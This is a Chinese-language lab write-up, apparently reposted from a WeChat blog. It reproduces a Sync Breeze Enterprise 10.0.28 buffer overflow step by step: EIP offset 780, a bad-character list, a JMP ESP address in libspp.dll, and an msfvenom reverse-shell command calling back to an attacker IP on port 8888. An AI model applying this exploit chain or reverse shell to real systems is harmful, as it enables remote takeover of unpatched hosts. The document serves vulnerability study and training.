思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现

admin 2025年5月15日17:59:23评论3 views字数 2203阅读7分20秒阅读模式

一、准备工作

1、windows10 32位虚拟机作为目标靶机、kali作为攻击机 2、Immunity Debugger调试工具+mona脚本、存在漏洞版本的软件Sync Breeze Enterprise v10.0.28 3、syncbreeze 安装完后打开web服务,漏洞点在web服务上

二、登陆页面

1、寻找偏移量

思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现这里一个登录页面,这里F12修改一下输入限制长度

思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现然后这里生成800个A的脏数据,我们输入一下尝试

思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现ok,这里输入了800个A发生报错,程序崩溃

思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现这里我们重启服务,因为输入了超过限制的字符导致服务宕掉了思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现

思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现当我们向我们的网页发送了800个A发现程序崩掉了,并且程序都覆盖了A思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现这里EIP也被覆盖了,那我们想方法找到EIP的地址,这里可以使用注入一串不重复的字符串,这样就能确定我们的EIP位置了d思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现这里丢一段脏数据,我们再来观察一下EIP的数据是什么 然后接下来我们查找偏移量,使用msf查询一下 msf-pattern_offset -l 800 -q 42306142思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现那么这里偏移量为780,那么我们的第781-784四个字节就会被写入到EIP寄存器里面,我们验证一下

2、验证偏移量

那么我们把前780个字符写为A,781-784写成B,后面再写成C来验证我们是否找到了正确的偏移量

思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现这样我们就验证成功了,42424242也就是四个B的意思,那我们EIP的返回地址就是780-784思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现也就是对应的这个位置

3、测试可写入字符量

这里我们插入1500个字符来测试一下,1减去我们之前的780个A,4个B,四个C,哪减去的剩下的就是我们可以写入的字符数量思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现从这里开始0076744c-00767710这就是我们可插入的字符,也就是这些空间可以让我们写shell思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现

思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现

4、测试坏字符

这是所有坏字符,诶个尝试

"x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10"
"x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20"
"x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30"
"x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40"
"x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50"
"x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60"
"x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70"
"x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80"
"x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90"
"x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0"
"xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0"
"xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0"
"xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0"
"xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0"
"xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0"
"xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

5、寻找 jmp esp指令的内存地址

利用EIP返回,指向一个固定不变的地址,就是栈顶,找jmp esp jmp:是“Jump”的缩写,意为“跳转”。这个指令会导致程序的执行流跳转到指定的地址。 esp:指的是ESP寄存器的值,它当前指向堆栈的顶部。

在kali 利用msf-nasm_shell转换jmp esp成16进制操作数 msf-nasm_shell jmp esp jmp esp的十六进制:FFE4思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现然后运用一个mona插件,先列出加载到所有模块 !mona modules 然后我们找到一个安全性比较低的命令,并寻找有没有jmp esp这条指令

思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现这个程序发现安全性很低,libspp.dll动态链接库没有启用安全机制思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现接下来我们来查找一下这个程序地址思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现这里发现这个程序有这条命令,那么我们复制一下地址0x10090c83,然后我们搜索该地址

思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现找到了,是一个FFE4的jmp esp,并且把他的地址转化为16进制x83x0cx09x10也就是这样的形式

6、shell反连

反弹shell kali使用msf生成反弹shell 使用-b参数过滤掉坏字符

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.66.129 LPORT=8888 -f c -b "x00x0Ax0Dx25x26x2Bx3D" EXITFUNC=thread

思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现然后我们生成这样一个反连shell的脚本

思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现拿下了,这东西太恶心了,做了一下午,跑步去了兄弟们

原文始发于微信公众号(泷羽Sec-朝阳):思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月15日17:59:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   思路清晰,我是菜B,8小时爆肝windows 32位syncbreeze缓冲区溢出漏洞复现http://cn-sec.com/archives/4048458.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息